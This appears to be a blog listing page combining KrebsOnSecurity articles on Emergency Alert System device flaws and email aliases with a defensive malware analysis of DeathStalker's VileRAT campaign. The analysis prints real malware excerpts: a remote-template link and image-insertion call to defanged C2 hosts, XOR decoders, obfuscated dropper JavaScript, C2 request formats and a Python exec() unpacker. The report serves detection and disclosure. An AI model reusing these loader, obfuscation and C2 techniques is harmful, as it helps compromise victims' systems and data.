Tag: fun

Sounding the Alarm on Emergency Alert System Flaws

The Department of Homeland Security (DHS) is urging states and localities to beef up security around proprietary devices that connect to the Emergency Alert System — a national public warning system used to deliver important emergency information, such as severe weather and AMBER alerts. The DHS warning came in advance of a workshop to be held this weekend at the DEFCON security conference in Las Vegas, where a security researcher is slated to demonstrate multiple weaknesses in the nationwide alert system.

A Digital Alert Systems EAS encoder/decoder that Pyle said he acquired off eBay in 2019. It had the username and password for the system printed on the machine.

The DHS warning was prompted by security researcher Ken Pyle, a partner at security firm Cybir. Pyle said he started acquiring old EAS equipment off of eBay in 2019, and that he quickly identified a number of serious security vulnerabilities in a device that is broadly used by states and localities to encode and decode EAS alert signals.

“I found all kinds of problems back then, and reported it to the DHS, FBI and the manufacturer,” Pyle said in an interview with KrebsOnSecurity. “But nothing ever happened. I decided I wasn’t going to tell anyone about it yet because I wanted to give people time to fix it.”

Pyle said he took up the research again in earnest after an angry mob stormed the U.S. Capitol on Jan. 6, 2021.

“I was sitting there thinking, ‘Holy shit, someone could start a civil war with this thing,”’ Pyle recalled. “I went back to see if this was still a problem, and it turns out it’s still a very big problem. So I decided that unless someone actually makes this public and talks about it, clearly nothing is going to be done about it.”

The EAS encoder/decoder devices Pyle acquired were made by Lyndonville, NY-based Digital Alert Systems (formerly Monroe Electronics, Inc.), which issued a security advisory this month saying it released patches in 2019 to fix the flaws reported by Pyle, but that some customers are still running outdated versions of the device’s firmware. That may be because the patches were included in version 4 of the firmware for the EAS devices, and many older models apparently do not support the new software.

“The vulnerabilities identified present a potentially serious risk, and we believe both were addressed in software updates issued beginning Oct 2019,” EAS said in a written statement. “We also provided attribution for the researcher’s responsible disclosure, allowing us to rectify the matters before making any public statements. We are aware that some users have not taken corrective actions and updated their software and should immediately take action to update the latest software version to ensure they are not at risk. Anything lower than version 4.1 should be updated immediately. On July 20, 2022, the researcher referred to other potential issues, and we trust the researcher will provide more detail. We will evaluate and work to issue any necessary mitigations as quickly as possible.”

But Pyle said a great many EAS stakeholders are still ignoring basic advice from the manufacturer, such as changing default passwords and placing the devices behind a firewall, not directly exposing them to the Internet, and restricting access only to trusted hosts and networks.

Pyle, in a selfie that is heavily redacted because the EAS device behind him had its user credentials printed on the lid.

Pyle said the biggest threat to the security of the EAS is that an attacker would only need to compromise a single EAS station to send out alerts locally that can be picked up by other EAS systems and retransmitted across the nation.

“The process for alerts is automated in most cases, hence, obtaining access to a device will allow you to pivot around,” he said. “There’s no centralized control of the EAS because these devices are designed such that someone locally can issue an alert, but there’s no central control over whether I am the one person who can send or whatever. If you are a local operator, you can send out nationwide alerts. That’s how easy it is to do this.”

One of the Digital Alert Systems devices Pyle sourced from an electronics recycler earlier this year was non-functioning, but whoever discarded it neglected to wipe the hard drive embedded in the machine. Pyle soon discovered the device contained the private cryptographic keys and other credentials needed to send alerts through Comcast, the nation’s third-largest cable company.

“I can issue and create my own alert here, which has all the valid checks or whatever for being a real alert station,” Pyle said in an interview earlier this month. “I can create a message that will start propagating through the EAS.”

Comcast told KrebsOnSecurity that “a third-party device used to deliver EAS alerts was lost in transit by a trusted shipping provider between two Comcast locations and subsequently obtained by a cybersecurity researcher.

“We’ve conducted a thorough investigation of this matter and have determined that no customer data, and no sensitive Comcast data, were compromised,” Comcast spokesperson David McGuire said.

The company said it also confirmed that the information included on the device can no longer be used to send false messages to Comcast customers or used to compromise devices within Comcast’s network, including EAS devices.

“We are taking steps to further ensure secure transfer of such devices going forward,” McGuire said. “Separately, we have conducted a thorough audit of all EAS devices on our network and confirmed that they are updated with currently available patches and are therefore not vulnerable to recently reported security issues. We’re grateful for the responsible disclosure and to the security research community for continuing to engage and share information with our teams to make our products and technologies ever more secure. Mr. Pyle informed us promptly of his research and worked with us as we took steps to validate his findings and ensure the security of our systems.”

The user interface for an EAS device.

Unauthorized EAS broadcast alerts have happened enough that there is a chronicle of EAS compromises over at fandom.com. Thankfully, most of these incidents have involved fairly obvious hoaxes.

According to the EAS wiki, in February 2013, hackers broke into the EAS networks in Great Falls, Mt. and Marquette, Mich. to broadcast an alert that zombies had risen from their graves in several counties. In Feb. 2017, an EAS station in Indiana also was hacked, with the intruders playing the same “zombies and dead bodies” audio from the 2013 incidents.

“On February 20 and February 21, 2020, Wave Broadband’s EASyCAP equipment was hacked due to the equipment’s default password not being changed,” the Wiki states. “Four alerts were broadcasted, two of which consisted of a Radiological Hazard Warning and a Required Monthly Test playing parts of the Hip Hop song Hot by artist Young Thug.”

In January 2018, Hawaii sent out an alert to cell phones, televisions and radios, warning everyone in the state that a missile was headed their way. It took 38 minutes for Hawaii to let people know the alert was a misfire, and that a draft alert was inadvertently sent. The news video clip below about the 2018 event in Hawaii does a good job of walking through how the EAS works.

The Department of Homeland Security (DHS) is urging states and localities to beef up security around proprietary devices that connect to the Emergency Alert System — a national public warning system used to deliver important emergency information, such as severe weather and AMBER alerts. The DHS warning came in advance of a workshop to be held this weekend at the DEFCON security conference in Las Vegas, where a security researcher is slated to demonstrate multiple weaknesses in the nationwide alert system.Read More

The Security Pros and Cons of Using Email Aliases

One way to tame your email inbox is to get in the habit of using unique email aliases when signing up for new accounts online. Adding a “+” character after the username portion of your email address — followed by a notation specific to the site you’re signing up at — lets you create an infinite number of unique email addresses tied to the same account. Aliases can help users detect breaches and fight spam. But not all websites allow aliases, and they can complicate account recovery. Here’s a look at the pros and cons of adopting a unique alias for each website.

What is an email alias? When you sign up at a site that requires an email address, think of a word or phrase that represents that site for you, and then add that prefaced by a “+” sign just to the left of the “@” sign in your email address. For instance, if I were signing up at example.com, I might give my email address as krebsonsecurity+example@gmail.com. Then, I simply go back to my inbox and create a corresponding folder called “Example,” along with a new filter that sends any email addressed to that alias to the Example folder.

Importantly, you don’t ever use this alias anywhere else. That way, if anyone other than example.com starts sending email to it, it is reasonable to assume that example.com either shared your address with others or that it got hacked and relieved of that information. Indeed, security-minded readers have often alerted KrebsOnSecurity about spam to specific aliases that suggested a breach at some website, and usually they were right, even if the company that got hacked didn’t realize it at the time.

Alex Holden, founder of the Milwaukee-based cybersecurity consultancy Hold Security, said many threat actors will scrub their distribution lists of any aliases because there is a perception that these users are more security- and privacy-focused than normal users, and are thus more likely to report spam to their aliased addresses.

Holden said freshly-hacked databases also are often scrubbed of aliases before being sold in the underground, meaning the hackers will simply remove the aliased portion of the email address.

“I can tell you that certain threat groups have rules on ‘+*@’ email address deletion,” Holden said. “We just got the largest credentials cache ever — 1 billion new credentials to us — and most of that data is altered, with aliases removed. Modifying credential data for some threat groups is normal. They spend time trying to understand the database structure and removing any red flags.”

Why might spamming aliases be a bad idea? According to the breach tracking site HaveIBeenPwned.com, only about .03 percent of the breached records in circulation today include an alias.

Email aliases are rare enough that seeing just a few email addresses with the same alias in a breached database can make it trivial to identify which company likely got hacked and leaked said database. That’s because the most common aliases are simply the name of the website where the signup takes place, or some abbreviation or shorthand for it.

Hence, for a given database, if there are more than a handful of email addresses that have the same alias, the chances are good that whatever company or website corresponds to that alias has been hacked.

That might explain the actions of Allekabels, a large Dutch electronics web shop that suffered a data breach in 2021. Allekabels said a former employee had stolen data on 5,000 customers, and that those customers were then informed about the data breach by Allekabels.

But Dutch publication RTL Nieuws said it obtained a copy of the Allekabels user database from a hacker who was selling information on 3.6 million customers at the time, and found that the 5,000 number cited by the retailer corresponded to the number of customers who’d signed up using an alias. In essence, RTL argued, the company had notified only those most likely to notice and complain that their aliased addresses were suddenly receiving spam.

“RTL Nieuws has called more than thirty people from the database to check the leaked data,” the publication explained. “The customers with such a unique email address have all received a message from Allekabels that their data has been leaked – according to Allekabels they all happened to be among the 5000 data that this ex-employee had stolen.”

HaveIBeenPwned’s Hunt arrived at the conclusion that aliases account for about .03 percent of registered email addresses by studying the data leaked in the 2013 breach at Adobe, which affected at least 38 million users. Allekabels’s ratio of aliased users was considerably higher than Adobe’s — .14 percent — but then again European Internet users tend to be more privacy-conscious.

While overall adoption of email aliases is still quite low, that may be changing. Apple customers who use iCloud to sign up for new accounts online automatically are prompted to use Apple’s Hide My Email feature, which creates the account using a unique email address that automatically forwards to a personal inbox.

What are the downsides to using email aliases, apart from the hassle of setting them up? The biggest downer is that many sites won’t let you use a “+” sign in your email address, even though this functionality is clearly spelled out in the email standard.

Also, if you use aliases, it helps to have a reliable mnemonic to remember the alias used for each account (this is a non-issue if you create a new folder or rule for each alias). That’s because knowing the email address for an account is generally a prerequisite for resetting the account’s password, and if you can’t remember the alias you added way back when you signed up, you may have limited options for recovering access to that account if you at some point forget your password.

What about you, Dear Reader? Do you rely on email aliases? If so, have they been useful? Did I neglect to mention any pros or cons? Feel free to sound off in the comments below.

One way to tame your email inbox is to get in the habit of using unique email aliases when signing up for new accounts online. Adding a “+” character after the username portion of your email address — followed by a notation specific to the site you’re signing up at — lets you create an infinite number of unique email addresses tied to the same account. Aliases can help users detect breaches and fight spam. But not all websites allow aliases, and they can complicate account recovery. Here’s a look at the pros and cons of adopting a unique alias for each website.Read More

VileRAT: DeathStalker’s continuous strike at foreign and cryptocurrency exchanges

In late August 2020, we published an overview of DeathStalker’s profile and malicious activities, including their Janicab, Evilnum and PowerSing campaigns (PowerPepper was later documented in 2020). Notably, we exposed why we believe the threat actor may fit a group of mercenaries, offering hack-for-hire services, or acting as an information broker to support competitive and financial intelligence efforts.

Meanwhile, in August 2020, we also released a private report on VileRAT to our threat intelligence customers for the first time. VileRAT is a Python implant, part of an evasive and highly intricate attack campaign against foreign exchange and cryptocurrency trading companies. We discovered it in Q2 2020 as part of an update of the Evilnum modus operandi, and attributed it to DeathStalker. Malicious activities that we associate with DeathStalker’s VileRAT track have been publicly and partly documented since, without any attribution or under different monikers (Evilnum, PyVil), starting in September 2020, through 2021 and more recently in June 2022.

DeathStalker has indeed continuously leveraged and updated its VileRAT toolchain against the same type of targets since we first identified it in June 2020. While we comprehensively documented the evolution to our threat intelligence customers recently, and despite existing public indicators of compromise, we regret to note that the campaign is not only ongoing at the time of writing, but also that DeathStalker likely increased its efforts to compromise targets using this toolchain recently. We have indeed been able to identify more samples of VileRAT-associated malicious files and new infrastructure since March 2022, which may be a symptom of an increase in compromise attempts. We deemed it may be helpful to publicly expose some of our knowledge about VileRAT, to help potential targets better detect and stop such malicious activities.

VileRAT’s initial infection and toolset overview

Back in the summer of 2020, DeathStalker’s VileRAT initial infection consisted in spear-phishing emails sent to foreign exchange companies, from fake personas (a fake diamonds trading company for instance) who shared investment interests. Should the target reply and continue with the conversation, the fake persona would at some point and upon request provide a link to a malicious file hosted on Google Drive (a Windows shortcut file masquerading as a PDF or in a ZIP archive), as identification documents. The malicious link would then trigger the execution of arbitrary system commands, to drop a harmless decoy document, as well as a malicious and quite sophisticated binary loader that we dubbed VileLoader.

More recently, since at least late 2021, the infection technique has changed slightly, but the initial infection vector is still a malicious message: a Word document (DOCX, see Figure 1) is sent to targets via email (either as an attachment or embedded in the email body whenever possible). In July 2022, we also noticed that the attackers leveraged chatbots that are embedded in targeted companies’ public websites to send malicious DOCX to their targets.

Figure 1. Malicious DOCX social engineering message

The DOCX documents are frequently named using the “compliance” or “complaint” keywords (as well as the name of the targeted company), suggesting the attacker is answering an identification request or expressing an issue as a reason to send them.

The initial infection and toolset deployment, as we observed them starting in at least late 2021, are schematized below (see Figure 2).

Figure 2. VileRAT infection and toolset overview

A bit of stomping and concealment up to VileDropper

The initial DOCX infection document itself is innocuous, but it contains a link to another malicious and macro-enabled DOTM document as a “remote template” (see Figure 3). These DOTM files are automatically downloaded by Word when the DOCX is opened, and its embedded macro is triggered if the recipient enabled execution (as requested by the social engineering message, see Figure 1).

<?xml version=”1.0″ encoding=”UTF-8″ standalone=”yes”?>
<Relationships xmlns=”http://schemas.openxmlformats.org/package/2006/relationships”>
<Relationship Id=”rId1″ Type=”http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate” Target=”hxxp://plantgrn[.]com/HjSYaquyA5umRSZcy%2B0xLfaIdgf5Qq8BA6EggZELrzkAAADvNjKmxl00LiQYCUFp2DSHYB8NW18l94y4JmYJq84iAcUK4DiouvcYORosLa5BzVcmWShg6Y6sjwg%3D” TargetMode=”External”/>
</Relationships>

Figure 3. Malicious remote template inclusion in infection DOCX

The malicious DOTM remote templates leverage the VBA stomping technique to conceal the code of an embedded macro. VBA stomping involves making the editable VBA source code (i.e., the visible code of a macro) different from the code that will actually be executed. This is possible because both the editable (visible) source code and a transformed internal version of it called p-code are embedded in macro-enabled documents. As a result of VBA stomping, the real macro code that will be executed is hidden from standard tools (Microsoft Word’s macro edition tools, but also OLETools).

This technique comes with a drastic limitation: the hidden macro (i.e., internal p-code) can only be executed if the macro-enabled document is opened with the same Office version from which it was generated. Otherwise, the hidden macro cannot run, and the visible one will be executed instead. In this last case, DeathStalker ensured it would result in a popup message to the user (see Figure 4). But most of all, DeathStalker ensured that it distributed several variants of infection documents to their targets, each one being prepared for a specific Office version.

Figure 4. VBA stomping failure in a malicious DOTM remote template

In any case, the visible and hidden macros download a picture to replace the social engineering message in the infection document (see Figure 5) and trick the readers into believing something failed.

Figure 5. Example of a downloaded image upon macro execution

In the background, however, provided the VBA stomping worked, the DOTM-embedded macro silently gathers information about security products that are installed on the target computer (using WMI), sends them to a command-and-control (C2) server, decodes and drops files, then ultimately executes a malicious obfuscated JavaScript (JS) backdoor we called VileDropper.

The DOTM-embedded macro itself already reveals some interesting and specific techniques. It is lightly obfuscated, as most text strings are XOR-encoded (see Figure 6) with a password that is derived from a sentence (e.g., “Operates Catholic small towns pueblos Two of“).

Function decodestring(dt As String) As String
On Error Resume Next
Dim ks As String
ks = decodepassword
Dim dl As Long
dl = ((Len(dt) / 2) – 1)
kl = Len(ks)
Dim s As String
s = “”
For i = 0 To dl
Dim c1 As Integer
Dim c2 As Integer
c1 = Val(“&H” & Mid(dt, ((i * 2) + 1), 2))
c2 = Asc(Mid(ks, (i Mod kl) + 1, 1))
s = s & Chr(c1 Xor c2)
Next
decodestring = s
End Function

Figure 6. XOR decoding function (renamed for clarity) in DOTM-embedded macro

The XOR decoding algorithm looks very close to the one that has been leveraged in VBS loader scripts from the PowerPepper toolchain (see Figure 7) in the past, and seemingly legitimate function names are also reminiscent of those that were used by PowerPepper macros (e.g., “insert_table_of_figures”, “change_highlight_color”, etc.).

Function DelPort(GeneralText)
Dim Argv : Argv = WScript.Arguments(0)
GeneralText = Replace(GeneralText, “44f”,”44″)
Dim z, i, cvpo, vpcol, sdfiko, gfdvvc, sdfopk
For i = 1 To Len(GeneralText)
cvpo = cvpo + 1
If cvpo > Len(Argv) Then cvpo = 1
gfdvvc = Asc(Mid(Argv, cvpo, 1))
If i > Len(GeneralText) 2 Then Exit For
vpcol = CByte(“&H” & Mid(GeneralText, i * 2 – 1, 2))
sdfiko = vpcol Xor gfdvvc
z = z & Chr(sdfiko)
Next
DelPort = z
End Function

Figure 7. XOR decoding function in a PowerPepper VBS loader (MD5 DB6D1F6AB887383782E4E3D6E4AACDD0)

The DOTM-embedded macro decodes and drops two files (in the “%APPDATA%” folder: “Redist.txt” and “ThirdPartyNotice.txt”, or “pattern.txt” and “changelog.txt”) out of encoded data that is stored in non-visible TextBox forms (see Figure 8). Leveraging Office object properties as hidden data sources is also something we have previously seen with PowerPepper.

Figure 8. TextBox form used as a data store within malicious DOTM documents, as shown by Microsoft’s VBA editor

Another notable feature is that the DOTM-embedded macro signals progression or errors during the execution by sending HTTP GET requests to fixed C2 URLs. Interestingly, all HTTP requests in the VBA macro are triggered using remote picture insertion functions (see Figure 9).

doc.Shapes.AddPicture (decodestring(“09184015545D5B1B1B07501E001F5C4B0D1D5B3B2D3647143422115728383E1D3E2A024B06025B…0F1C02301C4B57743F190273173713384258545B46582D5C242F3335565C234123543853115838183D21156116500F5C210A2717462327073A362E765C370347362B267F1035230C1036”))
‘ hxxp://hubflash[.]co/HCSqfUN%2FJJnPO49gnojrpDo%2BMxnGrYaL161m49AhAAAA%2FwQ5Tgt6JlNO
pWd1chDdUc5MB1HWBB9Yq3EECIbTO8uX

Figure 9. DOTM-embedded macro leverages “AddPicture” as a Web client

In any case, the DOTM-embedded macro finally triggers VileDropper’s execution, using a renamed copy of the “WScript” interpreter (“msdcat.exe” or “msgmft.exe” in the “%APPDATA%” folder), with a command such as:

msgmft.exe /E:jScrIpt “changelog.txt” 91 pattern.txt

“changelog.txt” is VileDropper, while “91” is part of password used by VileDropper to decode XORed data, and “pattern.txt” is an encoded package that contains VileLoader.

VileDropper: an overly obfuscated task scheduler

Next in DeathStalker’s intricate VileRAT infection chain comes VileDropper. It is an obfuscated JavaScript file that mainly drops and schedules the execution of the next stage: VileLoader.

var _0x140c9e;//ACCS3
_0x36bbe9: {//ACCS3
try {//ACCS3
var _0x527036 = _0x112a30 + ‘x5c’ + WScript[_0x1dbcbb(0x38c)](0x1),//ACCS3
_0x33ee6e = _0x3b3918[_0x4462ad[_0x1dbcbb(0x312)](_0x4459df, _0x4462ad[_0x1dbcbb(0x23d)])](_0x527036, 0x1),//ACCS3
_0x46efdf = _0x33ee6e[_0x4459df(_0x1dbcbb(0x1e7) + _0x1dbcbb(0x29c))]();//ACCS3
_0x33ee6e[_0x1dbcbb(0x37a)](), _0x3b3918[_0x1dbcbb(0x38f)](_0x527036), _0x527036 = ”;//ACCS3
for (_0x33ee6e = 0x0; _0x33ee6e < _0x46efdf[_0x1dbcbb(0x2fa)] – 0x2; _0x33ee6e += 0x2)//ACCS3
_0x527036 += String[_0x1dbcbb(0x259) + ‘de’](parseInt(_0x46efdf[_0x1dbcbb(0x2f4)](_0x33ee6e, _0x33ee6e + 0x2), 0x10));//ACCS3
_0x140c9e = _0x527036;//ACCS3
break _0x36bbe9;//ACCS3
} catch (_0x48c9c6) {}//ACCS3
_0x140c9e = void 0x0;//ACCS3
}//ACCS3

Figure 10. VileDropper code excerpt in its original form

VileDropper needs at least two arguments to run for the first time (a third may be used as a flag to trigger environment-specific execution variations, depending on security products that are installed on targeted computers):

the first one is a partial password (used to decode XOR-encoded data),
the second is a path to an encoded payload file (contains VileLoader and its companion shellcode).

VileDropper also checks its interpreter and file name, to immediately stop execution if it is not called as planned (this is probably done to evade sandboxes), as can be seen in the following deobfuscated code excerpt:

if (aWShell1[“CurrentDirectory”][“toLowerCase”]() != aAppDataPath1[“toLowerCase”]()) {
WScript[“Quit”]();
}
if (!sArgThird1) {
if (-0x1 == aScriptHostFullpath1[“indexOf”](“msdcat”)) {
WScript[“Quit”]();
}
} else {
if (-0x1 == aScriptHostFullpath1[“indexOf”](“cscript”)) {
WScript[“Quit”]();
}
}

Figure 11. Deobfuscated execution check in VileDropper

VileDropper’s exact execution flow depends on the security products that are installed on the targeted computer, but most of the time, it copies itself to another file, relaunches itself, and deletes its original copy. During execution VileDropper:

gathers additional data on the targeted environment (using WMI) as well as generating a target identifier and sends them to a C2 server;
decodes and drops VileLoader and its encoded companion shellcode. The file names and location will vary depending on samples, but they are placed under a seemingly legitimate common folder in “%APPDATA%” (e.g., “exe” and “dev0Y11ZF.tmp” in “%APPDATA%MicrosoftPrinter SettingsPrinters”);
schedules a task to run VileLoader 35 to 65 seconds later, then indefinitely every three hours and 45 minutes.

VileDropper sends data to a C2 server using an HTTP GET request to a fixed URL (e.g., “hxxp://hubflash[.]co/admin/auth.php”), using a preset User-Agent (both the C2 URL and the User-Agent change depending on VileDropper samples). The useful information is stored as a JSON document, which is then XOR-encoded, base64-encoded, URL-encoded, and set as a cookie value in the HTTP request:

JSON Key
Content (JSON value)
u
A target identifier. The identifier is a custom UUID-like representation of the target’s login (%USERNAME% environment variable) and computer UUID (as obtained in the first result of the WMI query: SELECT UUID FROM Win32_ComputerSystemProduct). This UUID-like value is then base64-encoded and URL-encoded. Due to fixed lengths and padding from the identifier generation logic, the identifier’s final form is always 48 characters long.
d
A hard-coded VileDropper identifier, which might designate a campaign or version (e.g., “9745B355”).
a
A list of the names of the security products (AntiVirusProduct in WMI) that are installed on the target computer, separated by the pipe sign (|), then XORed, base64-encoded and URL-encoded.
n
The target’s fully qualified login, as the shell expansion of “%USERDOMAIN%%USERNAME%”, which is then XORed, base64-encoded and URL-encoded.
w
The target’s operating system version, as returned from the WMI query SELECT Version FROM Win32_OperatingSystem, then base64-encoded and URL-encoded.

The task that is scheduled by VileDropper (whose name varies depending on samples, e.g., “CDS Sync” or “UpdateModel Task”), triggers the following type of execution command:

%APPDATA%MicrosoftPrinter SettingsPrintersFWDeviceEnabler.exe “[u]” “<encoded companion shellcode file name>” “[a]” “[w]” 0 “[d]” “[n]” <a letter of the encoded companion shellcode file name>

The characters between square brackets (such as [u]) in the command line designate the content of the corresponding JSON key (i.e., [u] is the encoded target identifier).

A XORing interlude

Before moving on to VileLoader, a note on the XOR encoding scheme that is leveraged by VileDropper to protect data sent to the C2 server, as similar schemes will be used further on. The algorithm generates data blobs that are laid out as follows (then sometimes further base64-encoded and URL-encoded):

Type A:

[XOR key (6 random bytes)][XOR-encoded data]

The resulting blobs are self-sufficient and can be decoded by the recipient (as well as any third party…) without any access to the pre-shared key. In VileDropper, strings that are encoded as part of the JavaScript obfuscation benefit from an additional XORing step: the XOR key that is embedded in data blobs is additionally XORed with a script-specific fixed password (a part of this fixed password is passed to VileDropper on its execution command line by the previous DOTM macro in the infection chain, the other part is hard-coded in VileDropper itself).

Later, VileLoader and VileRAT use other variants of this algorithm, which produces data blobs that are laid out as one of the following options:

Type B:

[XOR key length (variable)][XOR key (random bytes)][Padding][XOR-encoded data]

Type C:

[XOR-encoded data length][XOR-encoded data][XOR key length (variable)][XOR key (random bytes)]

Type D:

[XOR key length (variable)][XOR key (random bytes)][XOR-encoded data length][XOR-encoded data]

VileLoader: an evasive multi-stage implant downloader

VileLoader is a remarkable piece of the VileRAT compromise approach. While it has existed since Q2 2020 (it was first publicly documented as dddp.exe), it has been continuously updated and maintained since, and is still deployed from VileDropper at the time of writing. VileLoader’s main goal is to download and execute an additional payload from a C2 server. Though we have only observed it triggering the execution of VileRAT, the loader can technically download and execute other implants.

Recent VileLoader samples are composed of a binary executable (stage 1) and an encoded companion shellcode file (stage 2). Previous samples of VileLoader usually embedded the shellcode within the binary executable directly, and presented themselves as a single monolithic file.

Stage 1 – Doctored binary unpacker

VileLoader is initially presented as a binary executable, which ensures the first stage of the execution. This binary is always a legitimate one, which is meticulously doctored by the attackers to integrate a malicious unpacker-type payload. As such, the binary may appear legitimate from a quick automated static code analysis perspective: it includes all the code of a legitimate application (but will not work as expected). This “unpacker” stage is aimed at decoding, loading, and executing the second stage in memory.

VileLoader’s workflow starts by waiting 17 seconds. Then it parses the command line arguments. The command line must include five arguments at least, or VileLoader terminates the execution. In practice, VileDropper usually gives seven arguments to VileLoader, as we have previously described. VileLoader then opens its encoded companion shellcode file (whose name is passed as a second argument to VileLoader, e.g., “devENX1C6SS.tmp”), reads and decodes it (using the Type B XOR algorithm), maps the deobfuscated data in a region with read, write and execute (RWX) permissions, and runs the next stage (stage 2) by starting a new thread.

VileLoader’s first stage contains very unique “signature” techniques that have been stable since the first sample we analyzed in Q2 2020:

“Sleep” and “GetTickCount” Windows API functions are leveraged to generate random waiting delays. Those functions are resolved in an unusual way: by referencing hard-coded offsets from the beginning of the current binary image that point directly to entries in the legitimate executable’s import address table (IAT);
the unpacking and loading of VileLoader’s encoded companion shellcode file leverages multiple custom-made system calls, that are similar to low-level Windows API functions (NTDLL) for different Windows versions: NtOpenFile, NtReadFile, NtAllocateVirtualMemory, NtCreateThreadEx and NtWaitForSingleObject (see Figure 12).

Figure 12. VileLoader’s stage 1 custom-made system call

However, while older samples parsed command line arguments by resolving and calling dedicated Windows API functions (such as “GetCommandLineW”), the recent samples directly read this information from their own PEB (Process Environment Block) structure. This may have been done to better bypass the detection of some security solutions.

Stage 2 – In-memory downloader

The second stage content is extracted from VileLoader’s encoded companion shellcode file, and run by VileLoader’s first stage in-memory, in a new thread. From a data perspective, the second stage shellcode (once unpacked by the first stage) is a PE binary that is stripped of its headers and embeds additional encoded data.

This second stage starts by decoding the required data from its own content (using the Type C XOR algorithm). Some data are decoded as hash values that were generated with the djb2 algorithm. Those hashes are in turn used to resolve the required function imports through a homebrew IAT: required libraries are loaded, their export tables are parsed, exported function names are hashed with djb2, and the hashes are compared to hashes that were decoded from internal data. Stage 2 continues by creating a mutex, whose name has been stable since Q2 2020, and which is the same as in VileRAT (“GlobalwU3aqu1t2y8uN”).

Finally, VileLoader’s second stage builds an HTTP GET request that is used to download an implant package. In older VileLoader samples, the downloader used a static URL that looked as follows:

http://<domain>/c&v=2&u=<argument 1>&a=<argument 2>&c=<argument 3>

The only evasion attempt consisted in randomly choosing an HTTP User-Agent header value amongst a fixed list of four. VileLoader used the targeted system’s uptime as a source of “randomness”. In recent samples, developers tried to improve these evasion techniques, and the HTTP request now looks like this:

GET /administrator/index.php HTTP/1.1
Connection: keep-Alive
Accept-Language: en-US,en;q=0.8
Accept: */*
Referer: http://www.yahoo.com
Cookie: source=<encrypted blob>;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Host: corstand[.]com

All values that are colored in red are now chosen at random from a hard-coded list that is decoded from the stage 2 content (using the Type C XOR algorithm). The encrypted blob (cookie value) is initially a JSON dictionary, encrypted with the RC4 algorithm (using the key “BD DE 96 D2 9C 68 EE 06 49 64 D1 E5 8A 86 05 12 B0 9A 50 00 4E F2 E4 92 5C 76 AB FC 90 23 DF C6”, decoded from stage 2 content), XORed (using the Type B XOR algorithm), base64-encoded and URL-encoded. The actual JSON content is very similar to the one that is sent by VileDropper to the C2 server:

JSON Key
Provided by VileDropper  via the command line
Value
v

Hard-coded value (65 in the last sample we analyzed) which might be a version number.
u
✔️
The target identifier.
a
✔️
The list of security solutions installed on the targeted computer.
w
✔️
The target’s operating system version.
d
✔️
A fixed identifier, which might designate a campaign or version.
n
✔️
The target’s fully qualified login (%USERDOMAIN%%USERNAME%).
r

Flag that indicates if the mutex creation succeeded (1) or failed (0).
xn

Current process name (e.g., SerenadeDACplApp.exe).
s

Constant value embedded in the code and equal to 0.

The C2 server then answers in the HTTP response body, with one of the following instructions:

do nothing: the answer is four null bytes;
implant package: the answer is an encoded implant package to parse (see later);
send a screenshot: the answer is a byte of value “1”, followed by three null bytes.

In older variants, VileLoader’s second stage did not embed the screenshot capability, which was, however, implemented in VileRAT.

If the C2 server answers with an implant package, it sends a Type D XORed blob. The resulting data is further decompressed using the LZMA1 algorithm, and contains one or several “files” with the following additional metadata:

A CSIDL value, representing the root folder in which the file must be dropped (resolved with the “SHGetFolderPathW” Windows API function);
A subdirectory name;
A file name;
A task name if the file execution is to be scheduled;
The command-line arguments if the file is to be executed.

If a specific flag is set in the C2 server response data, VileLoader creates a Windows scheduled task for the last dropped file to set up its persistence. The task is created using the ITaskService interface. Finally, the last dropped file is also immediately executed using the “CreateProcessW” Windows API function. It should be noted that some older VileLoader samples executed the downloaded payload in memory, while recent variants tend to drop the downloaded implant on the target’s filesystem.

If the C2 server requests a screenshot, then VileLoader stage 2 sends an HTTP POST request with a cookie whose value is a XORed (Type B algorithm) JSON dictionary containing the following fields:

JSON Key
Value
u
Target identifier.
sc
Constant value (1).
dt
Screenshot timestamp (in the format “YYYY-MM-DD HH:MM:SS”).

The associated HTTP POST body data is an encoded (using the Type B XOR algorithm) JPEG screenshot.

VileRAT – A super-packed yet still overweight Python implant

VileRAT is the last known stage of the intricate eponym infection chain from DeathStalker. It is an obfuscated and packed Python3 RAT, bundled as a standalone binary with py2exe. We first discovered it in Q2 2020, and it has also subsequently been named PyVil by other vendors.

A note on VileRAT’s seniority

The Python library (DLL) that is embedded in a py2exe-bundled binary usually comes from an official Python release. While analyzing VileRAT samples, we noticed that its Python DLL is a custom compilation of Python 3.7 sources: the DLL version is tagged as “heads/3.7-dirty”[1] (instead of “tags/v3.7.4” for an official release, for instance) and references a shortened Git commit ID of “0af9bef61a”. This shortened commit ID matches one in the source code repository of the 3.7 branch of the standard CPython implementation, which is dated to 2020-05-23. Due to this commit date and considering the fact that we first discovered VileRAT in Q2 2020, we believe with medium to high confidence that VileRAT was first packaged for deployment in June 2020.

Unpacking VileRAT

When we first encountered VileRAT, we noticed that all usual decompiling tools for Python3 (uncompyle6, decompyle3 and unpyc37, to name just a few) failed to correctly retrieve a Python source from the VileRAT bytecode. Some of our industry peers had the same issue when they encountered it as PyVil.

Long story short: the first stage of VileRAT has been obfuscated at the Python bytecode-level, with the intention of breaking existing decompilers (see Figure 13). The bytecode is obfuscated by:

adding multiple operations that do not have any effect when executed (neutral operations) and useless data;
adding confusing branching and exceptions handlers;
inserting invalid bytecode in sections that will never be reached during execution (but that decompilers still try – and fail – to decompile).

Figure 13. VileRAT’s first stage Python bytecode, in its original form (left) and deobfuscated form (right). The only useful instructions of this excerpt are highlighted in red.

Once cleaned at bytecode-level, the first stage of VileRAT unpacking can be properly decompiled as Python code:

import sys
import zlib
import base64
T8 = base64.b64decode
y6 = zlib.decompress
m5 = T8(b'<a 7-million+ characters long base64 string>’)
k9 = bytearray(m5)
Y7 = bytearray(b’0sMIsDYmkeST5ZJHOfHkwmrA5JGVmpBbpKeA’)
N2 = bytearray(len(k9)*bytes([0]))
j = 0
code_length = int(len(k9)/5)
for i in range(code_length):
if i % 3 == 0:
N2[i] = k9[i] ^ Y7[j]
N2[i] = k9[i]
if j + 1 == len(Y7):
j = 0
j += 1
N2[i:] = k9[i:]
exec(y6(N2))

VileRAT embeds no less than three layers of unpacking. The efforts that have been put into making a Python script (VileRAT) hard to analyze from a human perspective is a DeathStalker signature by itself, considering they also tried the same for all the other steps in the infection chain, and that it is part of their usual approach.

